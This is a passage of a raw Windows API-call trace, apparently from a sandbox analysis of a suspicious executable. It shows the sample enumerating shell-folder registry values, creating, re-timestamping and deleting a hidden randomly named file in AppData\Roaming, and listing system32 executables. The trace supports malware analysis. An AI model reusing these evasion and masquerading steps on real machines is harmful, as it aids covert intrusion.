lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x12, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x13, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x14, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x15, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x16, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x17, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x18, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.329] RegEnumValueA (in: hKey=0xf8, dwIndex=0x19, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.329] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1a, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.329] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1b, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.329] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1c, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.329] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1d, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.329] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1e, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0164.329] RegQueryValueExW (in: hKey=0xf8, lpValueName="AppData", lpReserved=0x0, lpType=0x41f714, lpData=0x0, lpcbData=0x41f724*=0x0 | out: lpType=0x41f714*=0x1, lpData=0x0, lpcbData=0x41f724*=0x5c) returned 0x0 [0164.329] RegQueryValueExW (in: hKey=0xf8, lpValueName="AppData", lpReserved=0x0, lpType=0x41f714, lpData=0x1de9d8, lpcbData=0x41f724*=0x5c | out: lpType=0x41f714*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x41f724*=0x5c) returned 0x0 [0164.329] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dea60) returned 1 [0164.329] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0x423958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0164.329] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x423958) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd268) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.330] RegCloseKey (hKey=0xf8) returned 0x0 [0164.330] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.330] CryptAcquireContextW (in: phProv=0x41f7a8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a8*=0x7f3dc0) returned 1 [0164.331] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7bc | out: pbBuffer=0x41f7bc) returned 1 [0164.331] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.331] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.331] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.331] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.331] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.331] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.332] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.332] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.332] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.333] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.333] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.333] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.334] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.334] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.334] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.334] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.334] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.334] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.335] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.335] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.335] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.336] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.336] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.336] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.336] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.336] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.337] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.337] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.337] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.337] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.338] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.338] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.338] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.339] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.339] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.339] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.339] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.339] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.339] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.340] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.340] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.340] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.341] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.341] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.341] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.342] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.342] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.342] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.342] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.342] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.342] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.343] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.343] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.343] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.344] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.344] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.344] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.345] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.345] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.345] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.345] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.345] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.345] CryptAcquireContextW (in: phProv=0x41f7a4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7a4*=0x7f3dc0) returned 1 [0164.346] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7b8 | out: pbBuffer=0x41f7b8) returned 1 [0164.346] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\sFbHoP6DTwO9NK" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop6dtwo9nk"), fInfoLevelId=0x0, lpFileInformation=0x41f770 | out: lpFileInformation=0x41f770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x238ae7, ftCreationTime.dwHighDateTime=0x1d0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x23a79c, ftLastWriteTime.dwLowDateTime=0x41fac0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x41f808)) returned 0 [0164.354] GetLastError () returned 0x2 [0164.354] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\sFbHoP6DTwO9NK" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop6dtwo9nk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xf8 [0164.354] SetFileTime (hFile=0xf8, lpCreationTime=0x0, lpLastAccessTime=0x41f7b4, lpLastWriteTime=0x41f7b4) returned 1 [0164.355] NtClose (Handle=0xf8) returned 0x0 [0164.355] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x423958 [0164.355] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\sFbHoP6DTwO9NK", lpszShortPath=0x423958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1") returned 0x2a [0164.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\sFbHoP6DTwO9NK" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop6dtwo9nk"), fInfoLevelId=0x0, lpFileInformation=0x41f7b0 | out: lpFileInformation=0x41f7b0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x79281030, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x79281030, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x79281030, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0164.355] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\sFbHoP6DTwO9NK", dwFileAttributes=0x80) returned 1 [0164.355] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\sFbHoP6DTwO9NK" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop6dtwo9nk")) returned 1 [0164.356] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x423958) returned 1 [0164.356] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.356] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x422d60 [0164.356] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x100) returned 0x422850 [0164.356] GetSystemDirectoryW (in: lpBuffer=0x422850, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0164.356] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422850) returned 1 [0164.356] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.356] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.356] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dea60 [0164.356] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x41f854, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f854) returned 0x7e2ac8 [0164.356] CryptAcquireContextW (in: phProv=0x41f7c4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41f7c4*=0x7f3dc0) returned 1 [0164.357] CryptGenRandom (in: hProv=0x7f3dc0, dwLen=0x4, pbBuffer=0x41f7d8 | out: pbBuffer=0x41f7d8) returned 1 [0164.357] CryptReleaseContext (hProv=0x7f3dc0, dwFlags=0x0) returned 1 [0164.357] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="at.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW 